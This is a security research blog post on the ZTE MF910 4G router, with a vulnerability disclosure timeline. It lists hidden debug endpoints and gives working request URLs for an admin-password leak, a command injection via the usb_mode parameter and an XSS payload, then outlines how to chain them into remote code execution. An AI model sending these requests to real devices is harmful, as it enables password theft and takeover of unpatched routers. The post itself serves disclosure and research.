Blog: Internet Of Things
ZTE MF910 – An end of life router, running lots of vivacious hidden code
You might be here because you saw our talk at Defcon 27. You might want to watch that for the full rundown!
The ZTE MF910 is a really interesting router for reversing, mainly because it’s full of nice debug calls, and underused functionality. Also, it’s never going to get patched, and it’s really cheap. So it’s a great 4G router to start messing around with.
This post gives a bit of a rundown of the debug functionality and bugs we found in the ZTE MF910. The same (or similar) API calls might be found in other ZTE MF* series routers. We’re not entirely sure, because ZTE aren’t exactly proactive at fixing issues reported to them.
Have fun!
Embedded Web Servers
Unlike typical web server behaviour, where files stored on the filesystem are parsed and returned, many embedded web servers rely on functionality internally-defined in the binary itself.
Whenever looking at a device with an embedded web server, it’s worth decompiling the web server binary and seeing what kind of internal functionality it has. Often, you’ll find debug or other unused endpoints which might be useful.
Here’s a list of a few interesting and buggy endpoints we found in the MF910. There’s loads more in the zte_topsw_goahead binary to have a look at and find, which will be left as an exercise for the reader :)
Fun Stuff
An API for the ZTE “syslog” (post-authentication)
Remote syslog
Enables a remote syslog mode, where ZTE “syslog” information is sent over UDP to port 514 on the requesting host.
http://192.168.0.1/goform/zte_syscmd_process?syscmd=zte_syslog&syscall=set_remotelog&action=enable
Local syslog
Same, but for local logging.
http://192.168.0.1/goform/zte_syscmd_process?syscmd=zte_syslog&syscall=set_locallog&action=enable
Kernel syslog
Same again, but for kernel logging
http://192.168.0.1/goform/zte_syscmd_process?syscmd=zte_syslog&syscall=set_klog&action=enable
Download syslog file
Just for downloading locally-stored logs. Seems to check for validity of the filename – can either be syslog or syslog.0.
http://192.168.0.1/goform/zte_syscmd_process?syscmd=zte_syslog&syscall=get_logfile&logfile=syslog&logpath=/cache/zte_log
Various ADB mode switch endpoints
All of these functions just put the device into ADB mode on the USB interface. There are two which can only be called post-authentication, and one that can be called pre-authentication.
Post-authentication 1
http://192.168.0.1/goform/goform_process?isTest=false&goformId=MODE_SWITCH&switchCmd=FACTORY
Post-authentication 2
http://192.168.0.1/goform/goform_set_cmd_process?isTest=false&goformId=USB_MODE_SWITCH&usb_mode=6
Note: usb_mode takes an int value by default, but is not sanitized and is injectable on the MF910.
Pre-authentication
http://192.168.0.1/goform/goform_set_cmd_process?isTest=false&goformId=SET_DEVICE_MODE&debug_enable=1
Extraneous endpoints
/goform/formTest
This is definitely just old code. Searching for the default value of address
http://192.168.0.1/goform/formTest?name=Joe%20Smith&address=1212%20Milky%20Way%20Ave%3e
As you can see from a rough decompile, this function is really simple:
So it’s a perfect candidate for XSS.
This is definitely just old code. Searching for the default value of the “address” parameter, you can see that it’s old test code from GoAhead web server.
There’s a lot more
There are a lot more endpoints which aren’t used during normal use, but are still in the code.
Not all are interesting for our purposes, but it demonstrates really how much debug or simply old code might end up in these kinds of devices.
Bugs
We reported a couple of bugs in the MF910 to ZTE. They told us the device is end of life, so they won’t be fixing them. We also found similar issue sin the MF920 – which is still supported – and ZTE told us they fixed them.
Information Leak
It’s possible to read arbitrary values from the configuration table in the device NVRAM. A request like the following will read the value of the admin_Password field, which – you may be able to get – is the administrator password for the device.
ttp://192.168.0.1/goform/goform_get_cmd_process?cmd=admin_Password&multi_data=0
Command Injection
The post-authentication debug function USB_MODE_SWITCH is injectable, so it’s possible to execute arbitrary commands on the MF910.
http://192.168.0.1/goform/goform_set_cmd_process?isTest=false&goformId=USB_MODE_SWITCH&usb_mode=6%3bping%20192.168.0.118;
Cross-Site Scripting
We didn’t report this to ZTE in the first place, because we weren’t trying to chain to write a CSRF exploit. But since they won’t fix it in any of their other devices based on a report on the MF910 anyway, it’s not worth our time to report. Anyway, this XSS can be used to bypass the CSRF protections on the device so the two above exploits can be chained to execute arbitrary code from another page context.
http://192.168.0.1/goform/formTest?name=&address=<script>alert(“XSS_GOES_HERE”)</script>
Exploits
The simplest way to exploit these issues remotely, is the following flow:
-
- XSS to inject javascript into the /goform/formTest page
- This allows our JavaScript to run in the broswer page context which means we bypass the ZTE Referer header filter.
- It also means we don’t have to worry about the Same Origin Policy and read back responses.
- Request and read back the admin_Password
- XSS to inject javascript into the /goform/formTest page
- Send a login request with that password.
- Send a request to the USB_MODE_SWITCH goformId with arbitrary commands in.
Check out https://github.com/pentestpartners/defcon27-4grouters for a quick PoC.
Timeline:
08/02/2019 – We try to get in touch with ZTE PSIRT
12/02/2019 – We follow up because no response
13/02/2019 – ZTE send PGP key
13/02/2019 – We send encrypted disclosure of MF910 & MF65+ issues.
14/02/2019 – ZTE confirm receipt.
21/02/2019 – ZTE reply to say that MF910 & MF65+ are end of life & superceded by MF920 and MF65M2
21/02/2019 – We reply, noting that the MF910 and MF65+ are still being sold by vendors, and asking if MF920 & MF65M2 are still supported. We also ask about CVE IDs (since ZTE are a CNA)
27/02/2019 – ZTE reply to the question as to why they are still selling products they consider end of life:
“the internal delisting announcement of each product will be released in time, and the external delisting announcement will be released only when the customer explicitly requests it”
27/02/2019 – We ask again for a list of supported products, and their end of life dates.
28/02/2019 – ZTE reply saying:
“Unless the carrier customer requests the product delisting announcement,there is no public product delisting announcement.”
01/03/2019 – We reply, asking why they’ve previously created CVE IDs for lower-risk issues, on end of life products. We also ask again for them to confirm that the issues we reported don’t affect any more of their products.
12/03/2019 – ZTE reply saying still no CVE for these because the product is end of life. Still don’t confirm which products are actually supported. Also don’t confirm whether the same issues would be found in other products in their MF* line.
12/03/2019 – We reply saying the same issues are obviously present in public firmware for the MF920. Ask them to confirm that these issues are not present in other devices in their MF* line. Ask again for a list of officially currently-supported devices.
13/03/2019 – They reply asking for details on the MF920 issues, including which firmware version they were tested on. These are essentially the exact same issues as those for the MF910.
13/03/2019 – We reply with firmware details.
15/03/2019 – ZTE reply saying they’ll check. They also ask:
“the Web interface “goformId=USB_MODE_SWITCH” and “syscmd=zte_syslog&syscall=set_locallog” is Internal interface,
I mean user cannot get this interface information by regular webui operation.
How did you find this interface?”
15/03/2019 – We reply, saying we reversed the zte_topsw_goahead binary.
18/03/2019 – ZTE reply saying that they removed nc from the MF920, so the exact PoC I sent them which used nc on the MF910 didn’t work on the MF920, so they assumed it wasn’t affected. It actually is. They also ask exactly what tools we used for RE.
18/03/2019 – We reply. I used IDA, so I told them about IDA. By then Ghidra had been released so I told them about Ghidra. I told them they would also have found these issues by manual code review. I ask about whether they also confirmed the information leak issue. Also asked AGAIN for a list of supported devices.
18/03/2019 – ZTE reply saying the information leak isn’t there. They also offer to tell me a list of devices if I tell them which country I live in.
18/03/2019 – We send a curl command for them to replicate the info leak. Also make the point that I just want a list of devices, so I can also import them from other countries if I want to.
21/03/2019 – ZTE confirm information leak.
22/05/2019 – We chase for an update on these being fixed.
05/06/2019 – We chase again.
06/06/2019 – ZTE reply with a link to an advisory, which is also de-indexed from their main vulnerability listings page.
http://support.zte.com.cn/support/news/LoopholeInfoDetail.aspx?newsId=1010686
ZTE assigned a couple of CVEs for issues we found in the MF920:
CVE-2019-3411: Info leak
CVE-2019-3412: Command execution